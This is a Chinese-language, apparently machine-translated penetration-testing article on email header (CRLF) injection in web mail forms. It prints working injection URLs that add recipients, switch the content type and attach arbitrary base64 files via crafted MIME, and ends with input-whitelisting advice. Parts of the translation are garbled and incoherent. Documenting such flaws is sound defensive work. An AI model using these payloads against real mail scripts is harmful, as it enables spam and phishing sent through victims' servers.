Professional Documents
Culture Documents
“告诉朋友”的形式例子
以下是一个例子“告诉朋友”的形式,为用户提供太多控制参数的电子邮件被
发送。在这种情况下,用户有充分发件人控制电子邮件地址
数):
method="post">
</form>
这时提交的浏览器,将转化为 HTTP 请求,例如下面内容(不相关的标题头
已被删除,理由很明确):
from_name=Bad+Guy&from_email_address=spoofed
%40target.foo&to_name=Victim+User&to_email_address=victim
%40target.foo&message=Social+engineering+message+goes+here
%21&x=43&y=39
图为“告诉朋友”的形式
一些邮寄脚本可能包括其他信息,用户无法控制-至少在理论-正文中发送
的电子邮件。在这种情况下,社会工程行为(即:网络钓鱼)正在减少,因为
攻击者并不是完全控制的内容包括在电子邮件的机构。
例如,一种形式,如前一个允许用户告诉朋友关于产品提供购买的访问站点。
因此,它将使感觉脚本所附的连接点,所涉及产品中的电子邮件的主题中。不
管目标脚本添加自己的内容的电子邮件主题是 implementation-specific。
“联系我们”的形式例如
下面的例子是一个“联系我们”的形式-尽管并非有计划的允许访问者选自收
件人电子邮件地址,由于设计不良,可能这样做有点弄虚作假。
图为 “ 联系
我们”形式
通过使用网
络浏览器观察
HTML 源 代 码 ,
下 面 的
“ hidden” 输 入
栏位显示:
<input type="hidden" name="mailto" value="inquiries@target.foo"/>
允许恶意用户控制电子邮件地址。这仅仅可能是因为服务器端的脚本相信邮
寄的投入,从客户端可以明显被操纵。显然,“联系我们”形式不应该允许用户
设置的接收电子邮件地址的电子邮件通常会发送到一个固定的地址。
位于服务器端的邮件将脚本中指定的联络表单“action”属性:
以下是一些技术可能被用来操纵上述电子邮件地址参数:
http://target.foo/contactus.jsp
然后提交表单。
绕过限制通过邮寄脚本 CRLF 注入
他可能发生,我们是有限的,什么参数处理的目标邮寄脚本可以设置 /篡改,
并没有先前提到的技巧运作。例如,在我们的案例研究,实验现场的环境主办
了“电子邮件购物篮”功能。乍一看,邮寄脚本似乎只允许用户设置电子邮件“这
时一种为了满足主题和一个收件人”电子邮件地址:
http://www.target.foo/action/email_basket?next-
url=myaccount&name=recipients
%20name&email=pentester@procheckup.com&subject=My%20own
%20subject
申 请 前 的 网 址 会 导 致 电 子 邮 件 被 发 送 sales@target.foo 到
pentester@procheckup.com 的主题是自己的题目。电子邮件主题将包括目前的
内容购物蓝理。
添加额外的收件人
第一个问题确定的是,电子邮件参数不会过滤逗号“ ,”符号,从而使多个收件
人必须同时通过电子邮件:
http://www.target.foo/action/email_basket?next-
url=myaccount&name=recipients
%20name&email=pentester@procheckup.com,pentester2@procheckup.com&
subject=My%20own%20subject
来自 Email 的邮件头:
注意:一个单一的空间将自动增加的 TO:邮件头之间每个收件人地址,即使
没有指定请求的 URL。
在这一点上,限制最多的一个收件人已失败。
改变内容类型
另一个限制,我们希望内容类型的电子邮件是被设置为纯文本的邮件脚本。
来自 Email 的邮件头:
乏输入验证:
http://www.target.foo/action/email_basket?next-
url=myaccount&name=recipients
%20name&email=pentester@procheckup.com,pentester2@procheckup.com&
subject=My%20own%20subject%0d%0aContent-Type:%20text/html;
%20charset=utf-8
换为“25%”,从而利用失败,即使目标脚本很容易 CRLFi。
子邮件的内容类型为 HTML,风险减轻。
因此,还有什么可以做,我们要插入无限制的电子邮件内容? 答案是文件附
既然 base64 编码不需要括号,这正是完美地解决了我们的问题。现在,我们可
以插入任何内容类型的电子邮件,而无需尖括号包括图像,或甚至可执行文件
(如果没有被过滤网关)。
重视任意文件
我们的最终证明的概念如下:
○同时发送几个“购物篮”电子邮件收件人
○重视文件“hacker_safe.gif”
因为一切都过去后,分界线分隔忽视了电子邮件客户端的原机构的电子邮件
(购物篮内容)是不显示的。因此,我们获得完全控制机构的电子邮件和管理
的补充附件:
http://www.target.foo/action/email_basket?next-
url=myaccount&name=recipients
%20name&email=pentester@procheckup.com,pentester2@procheckup.com&
subject=hacker%20safe?%0d%0aContent-Type:
%20multipart/mixed;boundary="------------030806070106060901060000"%0d
%0aThis%20is%20a%20multi-part%20message%20in%20MIME%20format.
%0d%0a--------------030806070106060901060000%0d%0aContent-Type:
text/plain;charset=ISO-8859-1;format=flowed%0d%0aContent-Transfer-
Encoding:%207bit%0d%0a%0d%0aNOT%20THAT%20SAFE%20REALLY!%0d
%0a%0d%0a--------------030806070106060901060000%0d%0aContent-Type:
%20image/gif;name="hacker_safe.gif"%0d%0aContent-Transfer-Encoding:
%20base64%0d%0aContent-Disposition:%20inline;filename="hacker_safe.gif
%0d
%0aR0lGODlhMgAxAPcAAAEBARMUEyYmJiQoJDMzMw5zAUBAQERIQ05OTlxcX
GhpaGtra3p6ehq4BiD9AWb1YIWIhpycnK2vrK6ursPDw8/Pz9ra2t/f38H9zvv7%2
bv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAMgAxAAAI/wAzCMxwoY
LBgwgTKlzIEOGFCwMHSjgQAIDFixgzatzI8WKAAxIiSqjYsaTJkwNCEjxwMgDJkzAx
HoBY4SXHAThd6tzp0mNGnRwD0GyJMUCBAg2SNoAAQcGBATZhDo0JKmDq1cfY
NiKQQKEqCantgzQACtWrVy3sqQq1iTUsmYdoE1LkW2GCjFdwjU7l2vdmG1L6o0r
%2b1WBWA7Bu44OG7fw4k5Lg5KlvBjDGsB381b1bJhzFQBTN5YsYDntBIGhB4dd
G9Ww19XbzZp0zRfw5k14w1d%2bWza2LJ3h7b92m9oi6xLEp%2bL
%2bLjo2c5towV%2bPLlJ01ohqHb
%2bXDh3pM25d/8XD0AnzvPb7XonXx5qZMXQPfYkXREoUO6TBzj9SFF/Xf1NBeD
fR1AdYCBOBj610WQHVKCdVwEokEFqAEBQgQQONtjURApc2FSHGI5k0UsMXgC
BhgFYWMFTFw4AwUQGSaAAAApcoABUHR4AwQXbkRjfRQM8FNKDCnilYXsDVL
AjXdNNFOIJPm4nkVBemVigyEeOYCBF0qQWo0nfmSQjSNKuVGQ2jkIokFFTuSlhjn
W6JR
%2bFbRZn5kapXSjVwGC5FSWeqbU1EEb6khheReNBhUAUC3KaEVbbreogAKeJ2
B7YLGGoKMj5uQRejlVil6mP14EUgUFHZqiQcA1mJBTCrH/JAADDAgwnkYNNqkkB
FQqSdB2EhJ0kALBFnThAQlooKwGCUwWLIdOWRSsQDMymcGJT0UoELYUWaBBB
BNoYEGJAnmoWooThiTis0yxFGyXLBlQKwXiThahrwKNlKSNIV3bkQZzDjtthfRawE
B%2bR1ArIW/HiAQRNRaK
%2bON1mr3FwHiEnBrUTteGVIFLgrr60jBVittvsRSjMAEEyBXKgC5DmRjktfi1K/CE
V80cMQMiOvylBYZ6iViLmon7ZsgTSSTl0wrvQAFLXcXlX028VQeT1hHmZhQSxbl
XlE7uccTggn%2bdZ9MEIvInnw7uaVSvn%2btnRdIAIvc0N14M/TQQAEBADs=
%0d%0a--------------030806070106060901060000--
图为完全控制机构的电子邮件和附件通过任意 CRLFi
封锁的邮件过滤网关!
重要的是要注意分析电子邮件标题不会帮助跟踪来源,这种类型的攻击,因
为这合法的邮件服务目标改公司是被用来提供电子邮件。
解决方案
因此,它是开发商的责任来过滤这些字符。
一 般来 说, 开发 商应 适用 于 white-listing 方式 输入 过 滤 ,而 不是 black-
listing。即:只接收字符预期反对过滤的字符已知是有害的。运用 white-listing
输入验证,应用更容易得到保护对今后的攻击。
最安全的解决方案是不输入,可操纵来自的客户端(即:电子邮件主题)
电子邮件中,除非绝对需要。
作者:C.Z.Y